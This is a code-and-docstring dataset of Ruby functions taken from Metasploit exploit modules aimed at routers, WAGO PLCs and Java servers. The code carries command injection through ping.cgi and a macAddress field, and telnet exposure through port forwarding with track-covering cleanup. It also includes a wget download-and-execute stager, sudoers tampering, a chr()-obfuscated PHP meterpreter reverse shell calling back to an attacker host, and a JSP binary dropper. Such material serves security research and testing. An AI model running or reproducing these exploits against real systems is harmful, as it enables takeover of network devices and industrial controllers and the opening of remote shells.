code
stringlengths
26
124k
docstring
stringlengths
23
125k
func_name
stringlengths
1
98
language
stringclasses
1 value
repo
stringlengths
5
53
path
stringlengths
7
151
url
stringlengths
50
211
license
stringclasses
7 values
def on_request_uri(cli, request) #print_status("on_request_uri called: #{request.inspect}") if (not @pl) print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") return end print_status("#{rhost}:#{rport} - Sending the payload to the server...") @elf_sent = true send_response(cli, @pl) end
Handle incoming requests from the server
on_request_uri
ruby
hahwul/mad-metasploit
archive/exploits/hardware/remote/24936.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/hardware/remote/24936.rb
MIT
def wait_linux_payload print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...") waited = 0 while (not @elf_sent) select(nil, nil, nil, 1) waited += 1 if (waited > datastore['HTTP_DELAY']) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?") end end end
wait for the data to be sent
wait_linux_payload
ruby
hahwul/mad-metasploit
archive/exploits/hardware/remote/24936.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/hardware/remote/24936.rb
MIT
def on_request_uri(cli, request) #print_status("on_request_uri called: #{request.inspect}") if (not @pl) print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") return end print_status("#{rhost}:#{rport} - Sending the payload to the server...") @elf_sent = true send_response(cli, @pl) end
Handle incoming requests from the server
on_request_uri
ruby
hahwul/mad-metasploit
archive/exploits/hardware/remote/24945.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/hardware/remote/24945.rb
MIT
def wait_linux_payload print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...") waited = 0 while (not @elf_sent) select(nil, nil, nil, 1) waited += 1 if (waited > datastore['HTTP_DELAY']) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?") end end end
wait for the data to be sent
wait_linux_payload
ruby
hahwul/mad-metasploit
archive/exploits/hardware/remote/24945.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/hardware/remote/24945.rb
MIT
def on_request_uri(cli, request) #print_status("on_request_uri called: #{request.inspect}") if (not @pl) print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") return end print_status("#{rhost}:#{rport} - Sending the payload to the server...") @elf_sent = true send_response(cli, @pl) end
Handle incoming requests from the server
on_request_uri
ruby
hahwul/mad-metasploit
archive/exploits/hardware/remote/24956.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/hardware/remote/24956.rb
MIT
def wait_linux_payload print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...") waited = 0 while (not @elf_sent) select(nil, nil, nil, 1) waited += 1 if (waited > datastore['HTTP_DELAY']) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?") end end end
wait for the data to be sent
wait_linux_payload
ruby
hahwul/mad-metasploit
archive/exploits/hardware/remote/24956.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/hardware/remote/24956.rb
MIT
def on_request_uri(cli, request) #print_status("on_request_uri called: #{request.inspect}") if (not @pl) print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") return end print_status("#{rhost}:#{rport} - Sending the payload to the server...") @elf_sent = true send_response(cli, @pl) end
Handle incoming requests from the server
on_request_uri
ruby
hahwul/mad-metasploit
archive/exploits/hardware/remote/24974.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/hardware/remote/24974.rb
MIT
def wait_linux_payload print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...") waited = 0 while (not @elf_sent) select(nil, nil, nil, 1) waited += 1 if (waited > datastore['HTTP_DELAY']) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?") end end end
wait for the data to be sent
wait_linux_payload
ruby
hahwul/mad-metasploit
archive/exploits/hardware/remote/24974.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/hardware/remote/24974.rb
MIT
def wait_linux_payload print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...") waited = 0 while (not @tftp.files.length == 0) select(nil, nil, nil, 1) waited += 1 if (waited > datastore['DELAY']) @tftp.stop fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?") end end end
wait for the data to be sent
wait_linux_payload
ruby
hahwul/mad-metasploit
archive/exploits/hardware/remote/25608.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/hardware/remote/25608.rb
MIT
def on_request_uri(cli, request) #print_status("on_request_uri called: #{request.inspect}") if (not @pl) print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") return end print_status("#{rhost}:#{rport} - Sending the payload to the server...") @elf_sent = true send_response(cli, @pl) end
Handle incoming requests from the server
on_request_uri
ruby
hahwul/mad-metasploit
archive/exploits/hardware/remote/25609.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/hardware/remote/25609.rb
MIT
def wait_linux_payload print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...") waited = 0 while (not @elf_sent) select(nil, nil, nil, 1) waited += 1 if (waited > datastore['HTTP_DELAY']) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?") end end end
wait for the data to be sent
wait_linux_payload
ruby
hahwul/mad-metasploit
archive/exploits/hardware/remote/25609.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/hardware/remote/25609.rb
MIT
def on_request_uri(cli, request) #print_status("on_request_uri called: #{request.inspect}") if (not @pl) print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") return end print_status("#{rhost}:#{rport} - Sending the payload to the server...") @elf_sent = true send_response(cli, @pl) end
Handle incoming requests from the server
on_request_uri
ruby
hahwul/mad-metasploit
archive/exploits/hardware/remote/27044.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/hardware/remote/27044.rb
MIT
def wait_linux_payload print_status("#{rhost}:#{rport} - Waiting for the target to request the ELF payload...") waited = 0 while (not @elf_sent) select(nil, nil, nil, 1) waited += 1 if (waited > datastore['HTTP_DELAY']) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it can't connect back to us?") end end end
wait for the data to be sent
wait_linux_payload
ruby
hahwul/mad-metasploit
archive/exploits/hardware/remote/27044.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/hardware/remote/27044.rb
MIT
def test_login! print_status("#{rhost}:#{rport} - Trying to login with #{user}:#{pass}") res = send_auth_request_cgi({ 'uri' => '/', 'method' => 'GET' }) if not res or res.code == 401 or res.code == 404 fail_with(Failure::NoAccess, "#{rhost}:#{rport} - Could not login with #{user}:#{pass}") else print_good("#{rhost}:#{rport} - Successful login #{user}:#{pass}") end end
Sends an HTTP request with authorization header to the router Raises an exception unless the login is successful
test_login!
ruby
hahwul/mad-metasploit
archive/exploits/hardware/remote/28484.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/hardware/remote/28484.rb
MIT
def execute_command(cmd, opts) send_auth_request_cgi({ 'uri' => '/ping.cgi', 'method' => 'POST', 'vars_post' => { 'pingstr' => '& ' + cmd } }) Rex.sleep(1) # Give the device a second end
Run the command on the router
execute_command
ruby
hahwul/mad-metasploit
archive/exploits/hardware/remote/28484.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/hardware/remote/28484.rb
MIT
def configure_socket self.udp_sock = Rex::Socket::Udp.create({ 'Context' => { 'Msf' => framework, 'MsfExploit' => self } }) add_socket(self.udp_sock) end
the packet stuff was taken from the module miniupnpd_soap_bof.rb We need an unconnected socket because SSDP replies often come from a different sent port than the one we sent to. This also breaks the standard UDP mixin.
configure_socket
ruby
hahwul/mad-metasploit
archive/exploits/hardware/remote/34065.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/hardware/remote/34065.rb
MIT
def get_timestamp(time) srandom_r time t0 = random_r t1 = 0x17dc65df; hi = (t0 * t1) >> 32; t2 = t0 >> 31; t3 = hi >> 23; t3 = t3 - t2; t4 = t3 * 0x55d4a80; t0 = t0 - t4; t0 = t0 + 0x989680; ieee754_round(t0) end
This is the actual algorithm used in the get_timestamp function in the Netgear firmware.
get_timestamp
ruby
hahwul/mad-metasploit
archive/exploits/hardware/remote/41719.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/hardware/remote/41719.rb
MIT
def hash_password(password) sha256 = OpenSSL::Digest::SHA256.hexdigest(password) Base64.encode64(sha256).gsub(/\s+/, "") end
The Javascript code sends all passwords in the form: form.setAction('/index/login.cgi'); form.addParameter('Username', Username.value); form.addParameter('Password', base64encode(SHA256(Password.value))); Do the same base64 encoding and SHA-256 hashing here.
hash_password
ruby
hahwul/mad-metasploit
archive/exploits/hardware/remote/41895.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/hardware/remote/41895.rb
MIT
def generate_web_cookie(admin: false, session: nil) if admin cookie = 'FirstMenu=Admin_0; ' cookie << 'SecondMenu=Admin_0_0; ' cookie << 'ThirdMenu=Admin_0_0_0; ' else cookie = 'FirstMenu=User_2; ' cookie << 'SecondMenu=User_2_1; ' cookie << 'ThirdMenu=User_2_1_0; ' end cookie << 'Language=en' cookie << "; #{session}" unless session.nil? cookie end
Without below cookies, which are also sent by the JS code, the server will consider even correct HTTP requests invalid
generate_web_cookie
ruby
hahwul/mad-metasploit
archive/exploits/hardware/remote/41895.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/hardware/remote/41895.rb
MIT
def web_login cookie = generate_web_cookie(admin: true) # On good passwords, the router redirect us to the /html/content.asp # homepage. Otherwise, it throws us back to the '/' login page. Thus # consider the ASP page our valid login marker invalid_login_marker = "var pageName = '/'" valid_login_marker = "var pageName = '/html/content.asp'" username = datastore['HttpUsername'] password = datastore['HttpPassword'] res = send_request_cgi( 'method' => 'POST', 'uri' => '/index/login.cgi', 'cookie' => cookie, 'vars_post' => { 'Username' => username, 'Password' => hash_password(password) } ) fail_with(Failure::Unreachable, "Connection timed out") if res.nil? unless res.code == 200 fail_with(Failure::NotFound, "Router returned unexpected HTTP code #{res.code}") end return res.get_cookies if res.body.include? valid_login_marker if res.body.include? invalid_login_marker fail_with(Failure::NoAccess, "Invalid web interface credentials #{username}:#{password}") else fail_with(Failure::UnexpectedReply, "Neither valid or invalid login markers received") end end
Login to the router through its JS-based login page. Upon a successful login, return the keep-alive HTTP session cookie
web_login
ruby
hahwul/mad-metasploit
archive/exploits/hardware/remote/41895.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/hardware/remote/41895.rb
MIT
def expose_telnet_port(session_cookies) cookie = generate_web_cookie(session: session_cookies) external_telnet_port = rand(32767) + 32768 portmapping_page = '/html/application/portmapping.asp' valid_port_export_marker = "var pageName = '#{portmapping_page}';" invalid_port_export_marker = /var ErrInfo = \d+/ res = send_request_cgi( 'method' => 'POST', 'uri' => '/html/application/addcfg.cgi', 'cookie' => cookie, 'headers' => { 'Referer' => "http://#{rhost}#{portmapping_page}" }, 'vars_get' => { 'x' => 'InternetGatewayDevice.WANDevice.1.WANConnectionDevice.1.WANPPPConnection.1.PortMapping', 'RequestFile' => portmapping_page }, 'vars_post' => { 'x.PortMappingProtocol' => "TCP", 'x.PortMappingEnabled' => "1", 'x.RemoteHost' => "", 'x.ExternalPort' => external_telnet_port.to_s, 'x.ExternalPortEndRange' => external_telnet_port.to_s, 'x.InternalClient' => "192.168.1.1", 'x.InternalPort' => "23", 'x.PortMappingDescription' => Rex::Text.rand_text_alpha(10) # Minimize any possible conflict } ) fail_with(Failure::Unreachable, "Connection timed out") if res.nil? unless res.code == 200 fail_with(Failure::NotFound, "Router returned unexpected HTTP code #{res.code}") end if res.body.include? valid_port_export_marker print_good "Telnet port forwarding succeeded; exposed telnet port = #{external_telnet_port}" return external_telnet_port end if res.body.match? invalid_port_export_marker fail_with(Failure::Unknown, "Router reported port-mapping error. " \ "A port-forwarding entry with same external port (#{external_telnet_port}) already exist?") end fail_with(Failure::UnexpectedReply, "Port-forwarding failed: neither valid or invalid markers received") end
The telnet port is filtered by default. Expose it to the outside world through NAT forwarding
expose_telnet_port
ruby
hahwul/mad-metasploit
archive/exploits/hardware/remote/41895.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/hardware/remote/41895.rb
MIT
def hide_exposed_telnet_port(session_cookies) cookie = generate_web_cookie(session: session_cookies) portmapping_page = '/html/application/portmapping.asp' # Gather a list of all existing ports forwarded so we can purge them soon res = send_request_cgi( 'method' => 'GET', 'uri' => portmapping_page, 'cookie' => cookie ) unless res && res.code == 200 print_warning "Could not get current forwarded ports from web interface" end # Collect existing port-forwarding keys; to be passed to the delete POST request portforward_key = /InternetGatewayDevice\.WANDevice\.1\.WANConnectionDevice\.1\.WANPPPConnection\.1\.PortMapping\.\d+/ vars_post = {} res.body.scan(portforward_key).uniq.each do |key| vars_post[key] = "" end res = send_request_cgi( 'method' => 'POST', 'uri' => '/html/application/del.cgi', 'cookie' => cookie, 'headers' => { 'Referer' => "http://#{rhost}#{portmapping_page}" }, 'vars_get' => { 'RequestFile' => portmapping_page }, 'vars_post' => vars_post ) return if res && res.code == 200 print_warning "Could not re-hide exposed telnet port" end
Cover our tracks; don't leave the exposed router's telnet port open
hide_exposed_telnet_port
ruby
hahwul/mad-metasploit
archive/exploits/hardware/remote/41895.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/hardware/remote/41895.rb
MIT
def web_logout(session_cookies) cookie = generate_web_cookie(admin: true, session: session_cookies) res = send_request_cgi( 'method' => 'POST', 'uri' => '/index/logout.cgi', 'cookie' => cookie, 'headers' => { 'Referer' => "http://#{rhost}/html/main/logo.html" } ) return if res && res.code == 200 print_warning "Could not logout from web interface. Future web logins may fail!" end
Cleanup our state, after any successful web login. Note: router refuses more than 3 concurrent logins from the same IP. It also forces a 1-minute delay after 3 unsuccessful logins from _any_ IP.
web_logout
ruby
hahwul/mad-metasploit
archive/exploits/hardware/remote/41895.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/hardware/remote/41895.rb
MIT
def web_operation begin cookie = web_login yield cookie ensure web_logout(cookie) unless cookie.nil? end end
Don't leave web sessions idle for too long (> 1 second). It triggers the HTTP server's safety mechanisms and make it refuse further operations. Thus do all desired web operations in chunks: log in, do our stuff (passed block), and immediately log out. The router's own javescript code handles this by sending a refresh request every second.
web_operation
ruby
hahwul/mad-metasploit
archive/exploits/hardware/remote/41895.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/hardware/remote/41895.rb
MIT
def read_until(sock, timeout, marker) received = '' Timeout.timeout(timeout) do loop do r = (sock.get_once(-1, 1) || '') next if r.empty? received << r print_status "Received new reply token = '#{r.strip}'" if datastore['VERBOSE'] == true return received if received.include? marker end end end
Helper method. Used for waiting on telnet banners and prompts. Always catch the ::Timeout::Error exception upon calling this.
read_until
ruby
hahwul/mad-metasploit
archive/exploits/hardware/remote/41895.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/hardware/remote/41895.rb
MIT
def telnet_login(port) print_status "Connecting to just-exposed telnet port #{port}" @telnet_prompt = 'HG520b>' @telnet_timeout = 60 @telnet_sock = Rex::Socket.create_tcp( 'PeerHost' => rhost, 'PeerPort' => port, 'Context' => { 'Msf' => framework, 'MsfExploit' => self }, 'Timeout' => @telnet_timeout ) if @telnet_sock.nil? fail_with(Failure::Unreachable, "Exposed telnet port unreachable") end add_socket(@telnet_sock) print_good "Connection succeeded. Passing telnet credentials" telnet_auth_negotiation(@telnet_sock, @telnet_timeout) print_good "Credentials passed; waiting for prompt '#{@telnet_prompt}'" telnet_prompt_wait print_good 'Prompt received. Telnet access fully granted!' end
Basic telnet login. Due to mixins conflict, revert to using plain Rex sockets (thanks @hdm!)
telnet_login
ruby
hahwul/mad-metasploit
archive/exploits/hardware/remote/41895.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/hardware/remote/41895.rb
MIT
def start_http_server @pl = generate_payload_exe downfile = datastore['DOWNFILE'] || rand_text_alpha(8 + rand(8)) resource_uri = '/' + downfile if datastore['DOWNHOST'] print_status "Will not start local web server, as DOWNHOST is already defined" else print_status("Starting web server; hosting #{resource_uri}") start_service( 'ServerHost' => '0.0.0.0', 'Uri' => { 'Proc' => proc { |cli, req| on_request_uri(cli, req) }, 'Path' => resource_uri } ) end resource_uri end
Our own HTTP server, for serving the payload
start_http_server
ruby
hahwul/mad-metasploit
archive/exploits/hardware/remote/41895.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/hardware/remote/41895.rb
MIT
def download_and_run_payload(payload_uri) srv_host = if datastore['DOWNHOST'] datastore['DOWNHOST'] elsif datastore['SRVHOST'] == "0.0.0.0" || datastore['SRVHOST'] == "::" Rex::Socket.source_address(rhost) else datastore['SRVHOST'] end srv_port = datastore['SRVPORT'].to_s output_file = "/tmp/#{rand_text_alpha_lower(8)}" # Check module documentation for the special wget syntax wget_cmd = "wget -g -v -l #{output_file} -r #{payload_uri} -P#{srv_port} #{srv_host}" execute_command(wget_cmd, [/cannot connect/, /\d+ error/]) # `404 error', etc. execute_command("chmod 700 #{output_file}", /No such file/) execute_command(output_file, /not found/, background: true) execute_command("rm #{output_file}", /No such file/) end
Unfortunately we could not use the `echo' command stager since the router's busybox echo does not understand the necessary "-en" options. It outputs them to the binary instead. We could not also use the `wget' command stager, as Huawei crafted their own implementation with much different params.
download_and_run_payload
ruby
hahwul/mad-metasploit
archive/exploits/hardware/remote/41895.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/hardware/remote/41895.rb
MIT
def wait_for_payload_session print_status "Waiting for the payload to connect back .." begin Timeout.timeout(datastore['ListenerTimeout']) do loop do break if session_created? Rex.sleep(0.25) end end rescue ::Timeout::Error fail_with(Failure::Unknown, "Timeout waiting for payload to start/connect-back") end print_good "Payload connected!" end
At the end of the module, especially for reverse_tcp payloads, wait for the payload to connect back to us. There's a very high probability we will lose the payload's signal otherwise.
wait_for_payload_session
ruby
hahwul/mad-metasploit
archive/exploits/hardware/remote/41895.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/hardware/remote/41895.rb
MIT
def exploit print_status "Validating router's HTTP server (#{rhost}:#{rport}) signature" unless check == Exploit::CheckCode::Appears fail_with(Failure::Unknown, "Unable to validate device fingerprint. Is it an HG532n?") end print_good "Good. Router seems to be a vulnerable HG532n device" telnet_port = nil web_operation do |cookie| telnet_port = expose_telnet_port(cookie) end begin telnet_login(telnet_port) payload_uri = start_http_server download_and_run_payload(payload_uri) wait_for_payload_session ensure telnet_exit web_operation do |cookie| hide_exposed_telnet_port(cookie) end end end
Main exploit code: login through web interface; port-forward router's telnet; access telnet and gain root shell through command injection.
exploit
ruby
hahwul/mad-metasploit
archive/exploits/hardware/remote/41895.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/hardware/remote/41895.rb
MIT
def magic_packet(mac, username, password) mac = mac.gsub(/[:-]/, '').upcase if mac.length != 12 fail_with(Failure::BadConfig, 'MAC must be 12 bytes without : or -') end just_mac = mac.ljust(0x10, "\x00") if username.length > 0x10 fail_with(Failure::BadConfig, 'USERNAME must be <= 16 bytes') end just_username = username.ljust(0x10, "\x00") if @proto == :tcp if password.length > 0x10 fail_with(Failure::BadConfig, 'PASSWORD must be <= 16 bytes') end just_password = password.ljust(0x10, "\x00") elsif @proto == :udp # Thanks to Roberto Frenna for the reserved field analysis if password.length > 0x21 fail_with(Failure::BadConfig, 'PASSWORD must be <= 33 bytes') end just_password = password.ljust(0x21, "\x00") end cleartext = (just_mac + just_username + just_password).ljust(0x70, "\x00") md5_key = Rex::Text.md5_raw(cleartext) payload = byte_swap((md5_key + cleartext).ljust(0x80, "\x00")) secret_key = 'AMBIT_TELNET_ENABLE+' + password byte_swap(blowfish_encrypt(secret_key, payload)) end
NOTE: This is almost a verbatim copy of the Python PoC
magic_packet
ruby
hahwul/mad-metasploit
archive/exploits/hardware/remote/44245.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/hardware/remote/44245.rb
MIT
def execute_command(cmd, opts = {}) vars_post = { 'macAddress' => "#{datastore['MAC_ADDRESS']};#{cmd};", 'reginfo' => '1', 'writeData' => 'Submit' } send_request_cgi({ 'method' => 'POST', 'headers' => { 'Connection' => 'Keep-Alive' }, 'uri' => normalize_uri(target_uri.path), 'vars_post' => vars_post }) rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the target!") end
execute a command, or simply send a POST request
execute_command
ruby
hahwul/mad-metasploit
archive/exploits/hardware/remote/45909.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/hardware/remote/45909.rb
MIT
def on_request_uri(cli, request) print_status("Handling new incoming HTTP request...") exec_str = '/usr/bin/perl -e system(pack(qq{H*},qq{' + payload.encoded.unpack("H*")[0] + '}))' data = @xml_data.gsub(/:x:MSF:x:/, exec_str) send_response(cli, data) end
Handle incoming requests from the appliance
on_request_uri
ruby
hahwul/mad-metasploit
archive/exploits/hardware/webapps/16907.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/hardware/webapps/16907.rb
MIT
def cleanup chpasswd = <<-EOF #!/bin/sh # # $Id: chpasswd.sh, v1.00 2009-11-05 andy # # usage: chpasswd.sh <user name> [<password>] # if [ "$1" == "" ]; then echo "chpasswd: no user name" exit 1 fi echo "$1:$2" > /tmp/tmpchpw chpasswd < /tmp/tmpchpw rm -f /tmp/tmpchpw EOF res = upload('/sbin/chpasswd.sh', chpasswd) if res && res.code && res.code == 200 && res.body && res.body =~ /File had been uploaded/ vprint_good("#{peer} - Restored /sbin/chpasswd.sh successfully") else vprint_warning("#{peer} - Could not restore /sbin/chpasswd.sh to default") end end
Replace chpasswd.sh with original contents
cleanup
ruby
hahwul/mad-metasploit
archive/exploits/hardware/webapps/39192.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/hardware/webapps/39192.rb
MIT
def check @csrf="" res = send_request_cgi( 'method' => 'GET', 'uri' => '/wbm/index.php' ) if res && res.code == 200 && res.body.to_s =~ /WAGO Ethernet Web-based Management/ result = sendConfigToolMessage("get_typelabel_value", ["SYSDESC"]) if result and result =~ /PFC200/ # Get Version and check if it's <= 11 result = sendConfigToolMessage("get_coupler_details", ["firmware-revision"]) result = result.split('(')[1] result = result.split(')')[0] if Integer(result) <= 11 return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end return Exploit::CheckCode::Safe end return Exploit::CheckCode::Safe end
This function checks the index page to check if it may be a valid device. There are some more checks done after an successful authentication
check
ruby
hahwul/mad-metasploit
archive/exploits/hardware/webapps/47998.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/hardware/webapps/47998.rb
MIT
def login res = send_request_cgi( 'method' => 'POST', 'uri' => '/wbm/login.php', 'data' => '{"username":"admin","password":"' + datastore['ADMINPASSWORD'] + '"}' ) if res.code != 200 return false end parsed_json = JSON.parse(res.body.to_s) if parsed_json["status"] == 0 @cookie = res.get_cookies @csrf = parsed_json["csrfToken"] return true else return false end end
This function authenticates the adminuser against the Wago PLC
login
ruby
hahwul/mad-metasploit
archive/exploits/hardware/webapps/47998.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/hardware/webapps/47998.rb
MIT
def sendConfigToolMessage(scriptname, parameters, expectResponse=true) parameterString = '' for param in parameters parameterString = parameterString + '"' + param + '", ' end parameterString = parameterString[0...-2] request ='{"csrfToken":"' + @csrf + '",'\ '"renewSession":true,"aDeviceParams":{"0"'\ ':{"name":"' + scriptname + '","parameter":['\ + parameterString + '],"sudo":true,"multiline":false,'\ '"timeout":12000,"dataId":0}}}' res = send_request_cgi( 'method' => 'POST', 'uri' => '/wbm/configtools.php', 'data' => request, 'cookie' => @cookie, ) # After exploitation, there is no response, so just return true because the message was sent if expectResponse == false return true end parsed_json = JSON.parse(res.body.to_s) @csrf = parsed_json["csrfToken"] if parsed_json["aDeviceResponse"][0]["status"] == 0 return parsed_json["aDeviceResponse"][0]["resultString"] else return false end end
This function can be used to execute arbitary commands after login
sendConfigToolMessage
ruby
hahwul/mad-metasploit
archive/exploits/hardware/webapps/47998.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/hardware/webapps/47998.rb
MIT
def change_sudo_permissions() return sendConfigToolMessage('/../../../usr/bin/sed',["-i", "s/NOPASSWD:/NOPASSWD:ALL#/", "/etc/sudoers"]) end
This function is used to enable php execution in sudoers file using sed
change_sudo_permissions
ruby
hahwul/mad-metasploit
archive/exploits/hardware/webapps/47998.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/hardware/webapps/47998.rb
MIT
def encode(content) result = "" content.split("").each do |i| result = result + "chr(" + (i.ord).to_s + ")." end result = result[0...-1] return result end
Encode a given string to bypass validation
encode
ruby
hahwul/mad-metasploit
archive/exploits/hardware/webapps/47998.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/hardware/webapps/47998.rb
MIT
def send_payload() meterpreter_reverse_php='exec("/usr/bin/sed -i \'s/NOPASSWD:ALL#/NOPASSWD:/\' \'/etc/sudoers\'"); $ip = "' + datastore['LHOST'] + '"; $port = ' + datastore['LPORT'].to_s + '; '\ 'if (($f = "stream_socket_client") && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); '\ '$s_type = "stream"; } if (!$s && ($f = "fsockopen") && is_callable($f)) { $s = $f($ip, $port);'\ ' $s_type = "stream"; } if (!$s && ($f = "socket_create") && is_callable($f)) '\ '{ $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) '\ '{ die(); } $s_type = "socket"; } if (!$s_type) { die("no socket funcs"); } '\ 'if (!$s) { die("no socket"); } switch ($s_type) { case "stream": $len = fread($s, 4); break; '\ 'case "socket": $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len);'\ ' $len = $a["len"]; $b = ""; while (strlen($b) < $len) { switch ($s_type) { case "stream": $b .= '\ 'fread($s, $len-strlen($b)); break; case "socket": $b .= socket_read($s, $len-strlen($b)); break; } } '\ '$GLOBALS["msgsock"] = $s; $GLOBALS["msgsock_type"] = $s_type; if (extension_loaded("suhosin") '\ '&& ini_get("suhosin.executor.disable_eval")) { $suhosin_bypass=create_function("", $b); $suhosin_bypass(); } '\ 'else { eval($b); } die(); ?>' command = "eval(" + encode(meterpreter_reverse_php) + ");" return sendConfigToolMessage("/../../../usr/bin/php5", ["-r", command], false) end
This function generates the required payload used to connect to the msf listener
send_payload
ruby
hahwul/mad-metasploit
archive/exploits/hardware/webapps/47998.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/hardware/webapps/47998.rb
MIT
def jsp_drop_bin(bin_data, output_file) jspraw = %Q|<%@ page import="java.io.*" %>\n| jspraw << %Q|<%\n| jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n| jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n| jspraw << %Q|int numbytes = data.length();\n| jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n| jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n| jspraw << %Q|{\n| jspraw << %Q| char char1 = (char) data.charAt(counter);\n| jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n| jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n| jspraw << %Q| comb <<= 4;\n| jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n| jspraw << %Q| bytes[counter/2] = (byte)comb;\n| jspraw << %Q|}\n| jspraw << %Q|outputstream.write(bytes);\n| jspraw << %Q|outputstream.close();\n| jspraw << %Q|%>\n| jspraw end
Using a JSP dropper because the vulnerability doesn't allow to upload 'binary' files, so a WAR can't be uploaded directly.
jsp_drop_bin
ruby
hahwul/mad-metasploit
archive/exploits/java/remote/33891.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/java/remote/33891.rb
MIT
def target_uri begin # In case TARGETURI is empty, at least we default to '/' u = datastore['TARGETURI'] u = "/" if u.nil? or u.empty? URI(u) rescue ::URI::InvalidURIError print_error "Invalid URI: #{datastore['TARGETURI'].inspect}" raise Msf::OptionValidateError.new(['TARGETURI']) end end
This is from the HttpClient mixin. But since this module isn't actually exploiting HTTP, the mixin isn't used in order to favor the Tcp mixin (to avoid datastore confusion & conflicts). We do need #target_uri and normlaize_uri to properly normalize the path though.
target_uri
ruby
hahwul/mad-metasploit
archive/exploits/java/remote/38983.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/java/remote/38983.rb
MIT
def send_request_cgi(opts={}, timeout = 20) if datastore['HttpClientTimeout'] && datastore['HttpClientTimeout'] > 0 actual_timeout = datastore['HttpClientTimeout'] else actual_timeout = opts[:timeout] || timeout end begin c = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['RPORT']) c.connect r = c.request_cgi(opts) c.send_recv(r, actual_timeout) rescue ::Errno::EPIPE, ::Timeout::Error nil end end
Connects to the server, creates a request, sends the request, reads the response Passes +opts+ through directly to Rex::Proto::Http::Client#request_cgi.
send_request_cgi
ruby
hahwul/mad-metasploit
archive/exploits/java/remote/38983.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/java/remote/38983.rb
MIT
